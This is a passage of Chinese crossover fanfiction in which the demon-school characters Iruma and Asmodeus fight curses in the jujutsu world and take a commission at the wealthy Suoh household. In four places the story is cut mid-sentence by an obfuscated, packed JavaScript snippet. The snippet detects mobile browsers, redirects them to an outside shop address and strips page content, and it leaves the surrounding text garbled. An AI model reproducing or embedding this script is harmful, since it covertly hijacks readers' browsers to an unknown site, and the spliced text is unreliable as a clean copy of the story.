高等级咒术师不能把浪费时间在这种“小事”上,还有层出不穷的高级咒灵在危害他人的安全;而低等级咒术师一旦遇到封印破碎或者吸引来强大咒灵之类的情况,就很难安全脱身。 目前的入间和阿斯莫德对咒术界的情况完全一知半解,以至于入间一想到以后都要进行这么艰难的战斗,顿时觉得在这里的生活好像还不如在巴比鲁斯,至少那里还有家人、师父和伙伴。 阿斯莫德拽着已经瘫软的店长,把他扔到门口,自己则站在入间身侧,召唤出自己契约的魔兽戈尔贡蛇,试图抢占先机,将咒灵手里的鼓槌或者鼓抢下来。 谁料,咒灵的血像是存在着什么可怕的东西,戈尔贡蛇的牙齿像是受到了什么腐蚀,以至于分明细长的金色身体浮现出深黑色的血管,几乎被咒灵体内的血液污染,如果这种东西能够称之为血液的话。 阿斯莫德连忙召唤回戈尔贡蛇下场休养,手里灼热的烈火将咒灵包围,阻止它逐渐靠近的脚步。 战场上一片水深火热,根本打不开门、索性坐下的店长一边为入间和阿斯莫德加油,一边为自己遭受的损失“咝咝”吸气。 啊!那是他花了大价钱买的沙发! 呜呜呜那是他最心爱的水晶吊灯! 啊啊啊啊那是他的厨房! …… 到后面,已经计算不动自己损失的店长在已经断电、完全漆黑一片的环境里躺平,一时心如死灰。 是谁,到底是放了这个戒指在店里,究竟是谁害了他?!是房东吗?还是谁? 伴随着“叮叮咣咣”的响动,和咒灵的打斗不知不觉已经给入间创造出了一个相对宽阔的环境——当然,这是以店长破碎的心作为代价的。 在阿斯莫德的掩护下,入间取下左耳的羽毛状耳饰,原本轻飘飘的羽毛在手里立刻受到魔力影响变成一把华丽的长弓,阿斯莫德手心燃烧的火焰顺着他的手臂流动,一路攀援附着在那只幻化出来的羽箭上,入间深吸了一口气,将拉满的弓弦对准了那只咒灵。 “我可是拔子师父的徒弟!” 巴比鲁斯学校也存在着特殊儿童班级,里面的孩子都是拥有强大实力、性格难以自控的返祖恶魔,也因此,大家都靠着自己的努力,拜师寻求更高的提升。 作为其中的一员,入间所拜的师父,是在普遍难以坚持、缺乏耐心的恶魔中,能够靠着自己的实力入选足够参与魔界摄政事务,拥有可以威胁到其他作为魔王候补的“十三冠”能力的恶魔贵族巴巴托斯·拔子。 虽然不确定自己现在实战的实力在咒灵面前如何,但是入间不知道为什么,就是有种“可以试试”的直觉。 燃烧着烈焰的羽箭照亮了入间坚定的表情,他调动全身的感官,通过直觉,将瞄准的位置定在了咒灵的心脏,然后果断松手。羽箭带着不可抵挡的力量穿透咒灵挡在身前的太鼓,深深扎进咒灵的心脏,迸射出一簇黑色的腐蚀性液体,将光可鉴人的地板变得面目全非。 阿斯莫德直直地看着少年坚定的表情、凌厉的箭术,那簇火苗点燃的不止是咒灵的身体,还有他的眼睛。 不管多少次亲眼见到,他都会为这样的入间大人感到失神,这个身影,完全勾起了恶魔本能中的慕强情结。 “终于……居然成功了……”入间像是从战斗中骤然清醒和剥离,深深呼出一口气,因为精神地过度紧张,放松之后整个人都有点摇摇欲坠。 阿斯莫德如梦初醒,熟悉的忠犬属性上线,立刻上前,抵住入间的身体,让他不至于坐进咒灵的血泊里:“是的,入间大人,您成功了!” “是我们成功了。”入间转过头,对着阿斯莫德露出熟悉的、有点迷糊但是带着强烈感染力的笑容,“有阿兹君在身边,真的是,太好了。不敢想要是没有阿兹君帮助我,会成什么样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600119|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “入间大人!” 在咒灵彻底宣告死亡之后,艾利先生变回紫黑色雾气,大口吞噬咒灵逐渐消解的身体,来补充入间那一箭损耗的魔力。 咒灵的死亡惊醒了店长,原本对灵异嗤之以鼻的店长现在几乎是一把鼻涕一把泪地抓着入间的手:“天哪,入间君,不,入间大人,这个能学吗?我想学这个。” 被打断感情的阿斯莫德:“……” 迷茫的入间:“……” 入间:“欸?” 仿佛是唯恐天下不乱,艾利先生也坐回入间的肩膀,发出撺掇:“入间小弟,你是知道的,没有你爷爷给戒指补充魔力,我很快就会没电的,所以……你既然是人类,要不要琢磨一下自己的术式,这样我这个老人家也能早点退休,不用担心自己哪天没电又变回沉睡的状态,失去人形啦!” 入间:…… 艾利先生,你偷吃咒灵的样子真的很明显!戒指里损耗的魔力也被咒灵补充满了! 不要卖惨啦! . “你们遇到的咒灵,是曾经游荡在山林里的熊的幽灵。它在生前闯入村庄,拖走并且吃掉了很多人类。后来被合力杀死,却又在死后因为人们心中无法驱散的恐惧化作披着僧袍的咒灵,后来又被咒术师们封印在用它生前的骨头磨出来的戒指里,刻上咒文。” “他们原本是打算卖出去,谁知道在路上不幸失窃……它的鼓声能够控制人的心神,还好你们速战速决,没有让它成功使用术式。” 夜蛾也没想到咒物的封印竟然这样不巧地解开了,也没有想到这两个孩子居然有这样强大的实力,在一开始就迎战了一级咒灵。 莫非,这两个孩子,居然是天才吗? 阿斯莫德若有所思:“咒灵,就是这样一种诞生在恐惧等负面情绪中的怪物啊。” 感觉可以成为永动机的样子。 还不知道这个学生的脑子里在想什么危险的东西,夜蛾在给予他们肯定以后也要作为老师对他们的行为做出批判:“所以,为什么你们没有第一时间告知老师呢?这次你们做到了,但是下一次呢?你们能保证每次都能成功杀死咒灵吗?你们的安全,是第一位!” “老师,您可以放心,没有入间大人、同学打不死的咒灵。就算有,在出现的时候,我也会作为他的矛,冲在最前面,直到被折断为止。除非我死去,否则没有人能伤害入间同学!” 夜蛾:“……” 悲伤一扫而空,头,开始痛起来了! 夜蛾不会想到,这只是他骄傲又头痛的教学生涯的一个开始,后面的学生难搞程度只增不减。 “算了,你们也辛苦了。封印着咒灵熊魂的戒指是怎么流落、被利用的我们会努力调查……”夜蛾也不知道该说什么,“回去休息吧,出门右转的第二栋建筑就是宿舍楼,你们自己挑房间。” “好的!” 出了门,入间还是不太能确定用这样的方式带阿斯莫德熟悉这个世界是否是正确的选择。转过头,想要跟他说什么,在看到阿斯莫德燃烧着愉悦的眼睛时,还是没有说出口。 战斗和鲜血是刻在恶魔灵魂深处的代码,是他们的兴奋剂,那么这次的选择,他就没有做错。 好吧,阿兹君开心就好。 这么想着,入间脑袋上的呆毛也灵活地转了一圈,似乎很开心的样子。 5. 什么?人类真的存在? 整理房间这种事,作为恶魔贵族的阿斯莫德可能不太擅长,但是作为普通人的入间可谓是如鱼得水。 扛着大包小包整理完房间,入间敲了敲一直各种劈里啪啦的隔壁:“阿兹君,需要我帮忙吗?” “不,我可以……”里面的阿斯莫德像是遭遇了什么棘手的事情,倔强又纠结,“不,好像不行……不可以!” 入间就知道,阿斯莫德确实陷入了困难。 十分钟以后,看着齐整得苍蝇上去都得打滑的床单和被子,阿斯莫德痛苦地捂住脸:“如此失礼,居然需要入间大人关照才能整理好房间里的东西……真是太过分了……怎么能让入间大人如此辛劳……” 不,其实我很享受帮助别人来着。 入间试图解释,但是自认为非常“过分”地劳累了入间大人的阿斯莫德已经陷入了恨不得掐死自己或者立刻学会房间整理108式的自我谴责中。 “在一个陌生的地方,不仅没有起到保护入间大人的作用,还需要入间大人帮忙照顾,太糟糕了……” “入间小弟,轻而易举就让一个追随者陷入了挫败感中呢。” 好吧。 入间干脆抓住阿斯莫德的肩膀,非常认真地说:“能帮到阿兹君,我其实,非常开心。因为阿兹君太厉害了,帮助了我很多,不管是学校生活还是学习,所以能帮到阿兹君,我真的,很满足。” “入间大人!”阿斯莫德泪汪汪地用星星眼看向入间,模样很像是一只美貌的大型犬,“我一定不堕艾利斯家族的荣光,在一周内学会家务的!” 想起上次为了和另一个好友克拉拉竞争而学会了下厨的事情,入间用力地点了点头:“如果是阿兹君的话,一定可以的! 不过入间忽然想到一件事——魔界的文字和人类世界并不互通,那么……他的眼睛不由自主地亮了起来。 想起刚到魔界时惨烈的成绩单和艰难的学习过程,入间有点激动地看着阿斯莫德。 现在,也轮到他,来教阿兹君学习了吗?现在也轮到他来当学霸了吗?! 收拾东西,在发现阿兹君拿了两瓶一模一样的沐浴露却没有一瓶洗发水的时候,入间就反应过来,虽然大概是召唤的时候灵魂上产生了什么链接,让阿兹君能够听懂日语,但是说到底,其实他根本不认识日文,这对于他来说,是一门完全陌生的语言。 入间自己能够融入魔界生活,而不至于因为不认识字被当成异类,是因为当初刚到魔界的时候,爷爷沙利文给入间施加过一点小小的改变,所以不管是魔界通用语还是文字,都会被他自动翻译成日语。 但是,阿斯莫德拿着两张纸放在他面前,入间陷入了迷茫中。 因为,这两张纸,在他眼里,一模一样,都是日文。 这样一来,那岂不是,完全做不到帮阿斯莫德学外语了吗? 好在,别人的到来打破了入间的汗流浃背,那是一个穿着巫女服,容貌温婉的少女,在走廊上呼唤着他们的名字:“你好,是铃木入间同学和阿斯莫德·艾利斯同学吗?” “啊,是的!” 太感谢了,这位不知姓名却拯救他于尴尬之中的巫女! 少女倒是很活泼地先一步自我介绍:“我是京都校的庵歌姬,和你们是同一届。” “京都……校?” 虽然知道东京高专被夜蛾先生捡回来的学生对咒术界知之甚少,但是庵歌姬也没想到居然这么少,于是补充道:“咒术高专有两个学校,一个是在东京,一个是在京都。” 不过两个学校因为招生和理念侧重,其实关系不是特别好,这点作为京都校学生的庵歌姬没法直说,干脆把手里的资料和证件证明交给了他们。 “这一届除了你们,还有一个因为家系能力入学的同学,叫冥冥,我和她关系不错,偶尔会找她玩。所以有时候也会被老师们喊过来跑腿——比如说给新生介绍情况以及帮老师送东西之类的。” 据说被夜蛾老师在路上遇到然后带入学的两个新人,还没正式办理完手续,就已经击败了一个不得了的一级咒灵。庵歌姬一边激动一边惋惜,毕竟东京校的学生被上层派去当劳模或者炮灰,是常有的事。 “你们应该已经知道一点了吧?杀死一级咒灵,表示你们已经有了直升一级的实力。不过因为一级咒术师还是需要有一级以上的举荐人,所以夜蛾老师正在因为寻找举荐人而发愁,他让我转告你们,这边他会想办法,现在你们只是四级咒术师,刚好用简单任务练练手,方便熟悉任务流程。” 入间表示感谢后,伸手接过庵歌姬递过来的一叠资料,大致翻了翻,果然下面还有些零零散散的调查事件:“辛苦你了,歌姬同学。” “小事,希望你们能够平安吧,我就先走啦。” 察觉到阿斯莫德好像一直没有参与发言,入间有点疑惑地转过头去,发现何止不感兴趣,阿斯莫德看着歌姬的眼神,完全是把她当空气啊! “阿兹君,是怎么了吗?” 明明庵歌姬同学,他们也是第一次见来着。 得到的答案属于意料之外:“太弱了,她的能力放在巴比鲁斯也就只是最初阶级的阿雷夫(一级),最多贝特(二级),并不值得过多关注,入间大人。” 啊……如果不是阿斯莫德这句话,一路从一级逆袭到现在的六级,入间都快忘记了,和咒术界的四级到一级乃至特级不同,巴比鲁斯学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600120|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的等级也是恶魔的判定等级,是从一级到十级,只有达到四级才能从学校毕业。而轻视弱者,是恶魔的传统,或者说,弱者只是一粒尘埃,等级越高,不至于欺压,但是也越容易视下位者于无物。 要不是因为入间的身份特殊,作为校董的孙子,“德不配位的低级恶魔”,在一开始就吸引了众人的关注和挑战,又在战斗中阴差阳错近距离战胜了阿斯莫德,得到了他的尊敬,或者说忠诚,那么入间和阿斯莫德也不太可能存在什么能称之为交集的东西,更别说现在的亲密。 “但是,这个世界,和巴比鲁斯,乃至整个魔界,是不一样的。”入间像是下定了什么决心,表情坚定地告诉阿斯莫德,“这个世界,是人类世界,人类中确实存在对于实力的拜高踩低,但是他们远比恶魔复杂得多,所以,和很多人类熟悉并且认识,是有必要的。” 阿斯莫德听完入间的话,有点勉强地点了点头:“既然是入间大人的期望,那么,我会和他们这些人类进行社交……什么?人类?那不是幻想生物吗?” 何止这个世界是人类,即使是站在你面前的我,也是一个人类呢。 入间默默地想着,可是这样听起来,阿兹君的处境反而有点悲惨了——在人类世界的唯一一个恶魔什么的。 他连忙出口安抚像只遇到水炸了毛的猫一样的阿斯莫德:“不不不,你还记得我们的幻想生物老师巴拉姆老师吗?他就一直在考证幻想生物存在的可能性,而且人类这边也有很多关于恶魔的幻想作品……” 越说越乱,但是阿斯莫德还是从入间的话语里理解了他的意思——人类的世界和魔界大概是有交集的,所以他们能够在双方的文学作品里看到其作为幻想种出现。 人类世界不相信恶魔的真实存在,就像恶魔也认为人类只是存在于幻想中。 “如果是那个研究狂巴拉姆老师……应该会很高兴,但是我们……我们怎么……” 可以看出这对阿斯莫德的影响确实很大了。即使是震撼成这样,他也仍然能见缝插针地发自内心吹捧入间:“不愧是入间大人,在幻想生物课程上得到了满分,所以在这个人类世界也依旧如鱼得水。” 入间擦了擦脑袋上的汗,干巴巴地笑道:“哈、哈哈,是啊。总之,夜蛾老师让庵歌姬同学给我们带过来的资料里好像有什么跟我们之前经历类似的调查事件,要去看看吗?” “入间大人希望的话,当然!” 阿斯莫德忍了又忍,还是转头认真询问:“那既然我们是在人类世界,人类是恶魔的食物,那么……入间大人,需要我去帮您狩猎一只人类过来食用吗?” “不!多谢你的好意,但是我们还是吃点别的吧。” 6. 须王家的委托 今天前去拜访的委托人家,属实是个大客户。入目就是朝阳的大庄园,佣人多到夸张,只是开着车进门,都分男仆女佣两排人鞠躬欢迎,一路排到中央的喷泉附近,是非常夸张、甚至让人觉得只能是在动漫里才能出现的风格。 “也不过如此。”阿斯莫德看到阳光下那片华丽巍峨的建筑物时,漫不经心投去一瞥。 一旁的辅助监督:“……” 心情复杂,感觉像是在打肿脸充胖子。 众所周知,如果真的是有钱人或者世家出身的咒术师,基本不会选择在东京高专学习。不为别的,京校靠近世家和总监部,不仅师资力量和设备都超过东京校,学生的安全性也大大提升——毕竟在大家的眼里,东京校基本等于用来随时用来填补战场的炮灰。 所以阿斯莫德这样一句,不仅不是很有说服力,甚至听起来实在有点像柠檬。 “不,其实已经很豪华了。”入间在旁边描补,就是淡定的表情也不是很能让人信服。 虽然是苦日子里过来的人,不过在魔界入间过的日子也是衣来伸手饭来张口的王子生活,所以他的重点反而是让阿斯莫德跟他一起跟辅助监督道谢。 辅助监督,一般由无术式,或者术式弱到无法上战场的人员担任,这种群体在阿斯莫德眼里也是一级恶魔,让阿斯莫德感谢他们的劳动付出,也是入间的一种循序渐进战术! “是……你辛苦了。” “阿兹君,下次要说敬语。” “……是。” 阿斯莫德表情坚定:“那么从此以后,由我来代入间大人出面社交,入间大人的高贵,绝对不能被玷污!” 入间:“……” 他真的很想告诉阿兹君,自己只是一个普通人! “……的高贵,绝对不能被玷污!” 角落里有个小小的声音在重复阿斯莫德的话,可能孩子都觉得自己的躲藏非常隐蔽,但是…… 入间低头看了看跟他们隔着一个大理石喷泉、大摇大摆躲在池子旁边,实际上金灿灿的头发根本挡不住的小孩,艰难忍住自己的笑意。 当然,很快他就笑不出来了。 那个孩子看到入间和阿斯莫德都看向了自己,干脆站了起来,眼睛亮亮地看着他们:“你们,是贵族吗?好厉害,那种语气!” 甚至于再次重复了阿斯莫德的话,不过因为不太能记住,所以少了不少字:“入间大人的……绝对不能玷污……” 不知道什么时候从戒指里钻出来的艾利先生盘腿坐在入间的脑袋顶,拍着头上的呆毛,发出嚣张的狂笑:“入间小弟……绝对不能……哈哈哈哈哈哈绝对不能被玷污,哈哈哈哈哈哈……” 入间在心里流下两条宽面条泪,说这话的是阿斯莫德,学说这个的是眼前的小朋友,而他,稀里糊涂就躺枪了:“艾利先生——” “环少爷,不要到处乱跑,很危险的!” 一个年轻女佣非常急切地跑过来:“您这样乱跑,管家婆婆会生气的!” “我只是想给妈妈摘花。”那个被称为“环少爷”的孩子盯着入间脑袋上艾利先生的视线被转移,举着手里的花,笑得开朗活泼,“妈妈最喜欢这种花了。” “只要您吩咐,我们就会替您摘的。”女佣掏出手帕擦干净环少爷脸上的灰,才空出注意力发现他们,“请问二位来拜访须王家有何贵干?” “这是利娜小姐的客人。” 还没等他们组织措辞,迎面就赶过来一个干练的执事,眼睛在看到他们的上衣纽扣时露出一副了然的神情,还不等他们出示自己的学生证,就对着他们略一躬身:“二位想来就是咒术高专的学生吧?请跟我来。” 入间下意识捏了一下上衣的扣子,出于怀念,在得知高专校服可以自己设计之后,他和阿兹君都选择了最熟悉的巴比鲁斯校服,不过颜色被限制了——毕竟白色时问题儿童的校服。 虽然他俩也是魔界的“问题儿童”,但是好像这边问题儿童的定义跟他们有点不太一样? 而对他们来说最大的改变除了颜色,就是领口的一枚漩涡纽扣了,据说是高专学生的身份标记。 想来这位执事也是对此有所了解,所以在看到他们的纽扣之后就果断放行了。 跟着执事走过不同的建筑,推开一扇扇门,再穿过长长的走廊,在阳光最明媚开阔的房间里,他们见到了委托人……的执事。 “在下是老爷派给环少爷的执事,我们老爷也是真正找到咒术师进行求助的委托人。”那个执事将他们推给另一位同样干练的女性,“具体情况我无法多说,如果二位有匹配的能力,应该能发现原因,那么,请吧。” 如此这般,总算是见到了人。 那是一个实在美丽的女人,金色的长发,穿着优雅的长裙,肩膀上披着一块风格热烈的薄毯,坐在钢琴凳上,阳光没能给她增添几分气色,反而像是连这样灿烂的光芒也受不住似的,几乎融化在光线里,一只手虚虚扶着钢琴,还时不时轻轻咳嗽几声。 执事上前,用勺子给她喂水,似乎身体已经差到了自己也都没办法控制肢体。 “抱歉……他有时候就是这样……很任性。”女人对他们露出一个苍白虚弱的笑容,“体质这种东西也是很难说的吧,感觉他实在是没办法了,所以才会搞一些奇奇怪怪的东西。” “不……您……您的身体……”入间想了想,有点谨慎地开口,“您的情况,说不定正需要我们。” 太奇怪了,肉眼可见的,眼前的女人散发着丝丝缕缕的怪异气息,一股类似于魔力的能量在侵蚀着她的身体。 简直像是中了什么诅咒……或者被什么怪物当成猎物打上标签了一样。 “哈哈哈……哈哈……咳咳咳……”女人不知道被哪句话逗笑了,可是即使是笑,也耗费了她本就不多的心力,于是没有两声,便歇斯底里地咳嗽起来。 随着她的动作,渗出的汗水打湿了盖住额头的卷曲刘海,露出了暗红色的、充满不详的纹路。 “您的额头……” “怎么了吗?”执事和女人都露出有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600121|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迷茫的表情,似乎不清楚有什么问题。女人甚至抬手扒拉了一下自己的刘海,“是这样很失礼吗?抱歉。” 很明显,她们完全看不见,盘踞在女人额头上的那个东西。 果然,是跟咒术界有关的诅咒之类的东西吧? 在发现即使是手机拍摄也无法让图案被看到之后,他转头问执事:“请问有纸笔吗?” “啊,有的。” 虽然不明所以,但是看这两人的表现……就好像,她的额头上有什么她们看不见的东西一样,这种看不见摸不着的恐惧让女人的脸微微发白,就连板着脸的执事也流露出几分不安。 入间请执事把纸笔递给在画画上显然经过培训、更有经验的阿斯莫德,在各种事件里并肩作战培养了深厚默契的阿斯莫德立刻会意,开始描绘那张牙舞爪的红色纹路。 “这个……现在,在我的额头上?”女人不可思议地摩挲着自己的额头,甚至让执事掏出镜子,反复观察,却始终无功而返,“我要怎么相信你们?实不相瞒,其实我的……已经找了很多相关人士,他们都说自己是专业的,但是……咳咳,事实证明他们都是装神弄鬼,对我的情况没有半点助力……我需要你们说服我。” 艾利先生的声音在他耳畔响起,带着一点跃跃欲试:“让我来试试?” “诶?艾利先生居然也有治疗的能力吗?”他还以为对于普通恶魔来说,治愈只有魔药课上炼药一种办法呢。 “不,都是能量,我想试试能不能吞噬而已。” “欸?!那是不是太冒险了?” “可是如果没有我们的话,她绝对会在某天被夺走身体的,入间小弟。”艾利先生虽然现在只是雾状,入间却仿佛能看到它那充满不赞许的表情,“实在不行,你也可以先告知风险。” “当然要试试。” 结果当然是愿意的,这位名叫利娜的女士,用一种故作轻松的语气笑道:“我还想看着孩子长大呢。” 抱着尝试的心态,入间说了声“失礼”,调整手上的恶食戒指,用最小的能量调动,抬手对着女人,控制着施展吞噬的新能力。 入间感受到了一阵滞涩,就像是清理已经几乎跟墙壁粘连在一起的藤蔓,只能薅下来边边角角,于是选择默默加大了吸收的功率。 差不多到平时借助戒指施放魔力的中档,红色的纹路才逐渐在光洁的额头上扭曲变形,最后丝丝缕缕的雾气被收进暴食戒指。 而女人也清晰地感受到自己身体的变化,昏昏沉沉的大脑忽然迎来一阵清明,那种有什么一直在流失的感觉也逐渐减弱。 到最后,甚至可以恢复原本站立和行走的能力。 “真的……非常感谢二位!” “不不不,您真的太客气了!”入间也诚惶诚恐鞠躬回去,“不过……” 他看着女人眉心盘旋不去的那一点红色,直觉告诉他,是诅咒深深植入的根系,即使他把输出调整到最大,也未能完全斩草除根。 “我们可能,之后还要来继续打扰。” 7. 藤冈琴子 听到入间说他们暂时没有办法将诅咒彻底根除之后,执事出门去了,大概是去找他们真正的委托人进行告知。 而结果当然是委托人请他们暂时在这里留宿,方便继续观察。 而夜蛾老师不知道又在忙什么,从他们发了图片给他,希望得到解答之后,留下一句“稍等”就再也没有回消息。 思来想去,他们既不知道诅咒会不会卷土重来,也不知道什么时候这个诅咒会不会再度发作,出于观察的谨慎,入间和阿斯莫德点了点头,感谢主人家的招待。 大概是他们在判断和处理诅咒上花的时间比较长,所以没多久就到了晚饭时间,女仆带着他们去了餐厅,装饰依然是风格相符的金碧辉煌。 “病魔……玷污你的身体……”圆桌附近,有个小小的金色的身影在上蹿下跳,语气骄傲,“但是没关系,正义勇敢的骑士会拯救美丽的夫人于水火之中!” 是之前模仿阿斯莫德的小朋友,他学着阿斯莫德的样子,逗病弱的利娜女士开心。 “哈哈哈哈哈——” 而利娜女士也确实如他所愿地笑了起来,不过其他人表情就精彩多了,尤其是之前看到的照顾那个小朋友的年轻女仆,简直是要焦急得哭出来:“环少爷,这个词不是这么用的!” 而利娜女士旁边那个一看就很有家主风范的男人默默按住脑袋,小声喃喃:“这个孩子,是不是不太聪明的样子。” 利娜女士笑着拍了拍男人的手:“不,孩子的童年难得,还是不要给他们压力了吧?” 男人立刻一副“你说的都对”的表情,握住利娜女士的手,深情款款:“好,听你的。” 入间:“……” 阿斯莫德:“……” 好尴尬,他们是不是单独吃饭比较礼貌一点? “啊,你们辛苦了。”似乎才注意到门口的他们,男人站起身自我介绍,“在下是须王家的家主须王让,这是我和利娜共同的儿子须王环,我们都很感谢你们让利娜身体好转。” “不不不,您客气了!”入间受宠若惊地摆摆手,“很抱歉也没能完全让利娜女士康复。” 但是,这个措辞,总觉得有点奇怪…… 没有深想下去,毕竟是别人的隐私,入间现在更关注的,是为了防止被这位委托人认为他们是因为想要骗吃骗喝,而试图解释清楚利娜小姐身体情况。 很奇怪,就只是两个小时不见,利娜小姐眉心的红色痕迹又卷土重来,已经又重新生长出了隐约的纹路。 “经过我们和老师的共同商讨,这个诅咒的来由似乎很古早,所以一时不能找到出处,也不知道该怎么根除。但是,就我们目前的观察和判断来说,它会受到负面情绪的影响,甚至可能吸引咒灵缠身,总之,必须保持好心情……” 不知为何,随着他说出的这番话,利娜小姐像是想到了什么,怔愣出神,而须王让先生虽然还保持着笑意,入间的直觉却告诉他,此人的心情并不是很好。 是我说错了什么吗? 直觉敏锐,但是情商实在欠发达的入间,有点无措地住口。 “谢谢你的提醒,我会的。” 利娜小姐开口,打破了凝重的氛围。她神色轻松,像是什么都没有发生过一样,摸了摸身边孩子的脑袋。那孩子也点了点头,举着手里的筷子,笑得牙不见眼:“嗯,我会让妈妈开心起来的!” 带着一种“我是不是说错了什么”的迷惘,入间坐下,吃饭,光顾着往嘴里塞吃的,却完全没有发现旁边越堆越高的盘子和惊愕的视线。 等他反应过来,习惯性说上一句“感谢款待”,对上利娜小姐和须王让先生震撼的表情,还有须王环充满崇拜的眼神,他才反应过来,似乎又没有收住自己的胃口,吃了个饱。 大概是曾经的生活刻上的烙印,以及沙利文任性又放养的态度,总之,入间很能吃。这点在来到魔界之后表现尤甚,曾经创下过迅速解决掉几十人份量巨型拉面的壮举。 而这次,他忘记了在委托人家收敛自己的胃口…… 正当他社死得几乎要晕过去的时候,后厨匆忙赶来的男仆开口更是雪上加霜:“家主大人……是我们考虑不周,后厨准备的菜已经告罄,我们正在派人乘直升机去取菜,还请家主和客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16600122|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们稍等……” 你们有钱人的生活,都这么夸张吗?! 一个只是有点过分能吃的少年,轻轻碎掉了。 入间已经不记得自己是怎么跟着阿斯莫德回到须王家准备的客房里了,阿斯莫德轻轻关上的门就像是一个开关,房间封闭成自我的空间之后,入间游魂般倒在一堆柔软的织物里,发出“呜呜”的哭声。 啊啊啊,不该在艾利先生不在的情况下放开吃的。 这下子手足无措的变成了全程都在当一个没有存在感的规规矩矩花瓶的阿斯莫德:“入间大人……” 那堆织物里传出闷闷的请求声:“阿兹君,拜托了,请你务必要提醒我收敛。” 就像入间很难拒绝别人的请求,阿斯莫德也很难拒绝入间的请求。 不过,心里话还是要说出来的:“入间大人是不会做错任何事的!况且人类的食物不值一提,外观都是奇形怪状,入间大人喜欢是它的荣耀!” 入间:“……” 啊,忘记了阿兹君,是非常宽容的入间激推了。 “阿兹君,拜托你了,一定要阻止我!” “我会努力的!” 这边正在热血沸腾地打鸡血,那边,须王家又迎来了新的客人。 她有着干练的短发,穿着西装,胸前挂了张写着“藤冈琴子”的牌子,眉眼间带着一种不至于错认性别的俊美和凌厉。 看样子,她似乎跟须王家很熟悉,至少跟利娜很熟悉。带着公文包进了门,亲了亲怀里半梦半醒的女儿:“春绯,你去跟阿姨一起回房间睡觉,好不好?妈妈一会就回来。” 有了女儿的点头,她才把孩子放心交给利娜的执事,才夹着一叠文件,敲响了利娜女士的门。 “琴子,好久不见!”利娜女士从床上坐起来,虽然目前的诅咒已经被祓除了大半,但是已经受损的健康显然并没有那么快能补回来,“抱歉这么晚还是要打扰你,不过我总是不太安心。” 藤冈琴子俯身拥抱了一下有点不安的利娜女士:“没关系的,我也很担心你。” “我……琴子,我想立遗嘱。” 8. 如影随形的二重身 藤冈春绯睁开眼,发现自己身处在陌生的环境里,但是小小的脸蛋上是从容的习以为常。 今天,又是在哪里? 随着起床给自己刷牙洗脸,回忆也逐渐清晰——因为最近出现了什么变故,总之父亲一边哭着说不愿意不舍得一边被妈妈塞上了车,送回老家解决问题,所以现在藤冈春绯由律师母亲带着东奔西走。 昨天晚上好像是有什么人请妈妈上门做什么事情,妈妈放心不下她,于是拎着她一起上了车。 接下来就是她被安置在这个房间了。 歪着脑袋想了想,藤冈春绯留下了一张纸条,然后偷偷推开门,出去找吃的去了。 阳光投射着孩子摇摇晃晃的身影,而在绘制着花纹的白色墙纸上倒影出的身影……显然,那影子,不止一个。 一股甜香顺着走廊大敞着的窗户被风吹了进来,藤冈春绯发挥了自己强大的直觉,七拐八绕,居然真的自己找到了通往后花园的路。 而这边,入间不知道有个小朋友正沿着他们吃甜品散发出的味道精准定位并且找了过来,他现在还处在一种绞劲脑汁试图让阿斯莫德停止夸赞的尴尬中。 不知道昨晚他的请求在阿斯莫德的脑袋里到底经历了怎样的变革,总之,今天的阿斯莫德一直守在他身边,用一种充满鼓励的表情进行天花乱坠的夸赞。 入间:只是普通地吃东西。 阿斯莫德:“不愧是入间大人、同学!吃东西的样子也这么让人心驰神往!” 入间尴尬地跟阿斯莫德分享甜品,试图分散他的注意力。 阿斯莫德:“入间同学何等慷慨大方,在下何德何能!” 而一旁的小少爷须王环超级认真地做着笔记,脸上满是“居然可以这样吗”的若有所思。 入间简直要尖叫了。 啊啊啊啊啊啊不要什么都学啊,阿兹不要带坏小朋友啊啊啊啊啊啊! 可惜,无人在意。 好在天无绝人之路,没多久,这张铺满甜品的小桌旁刷新了一个梳着妹妹头、棕褐色眼瞳大得惊人以至于呈现出一种天真呆萌模样的小姑娘。 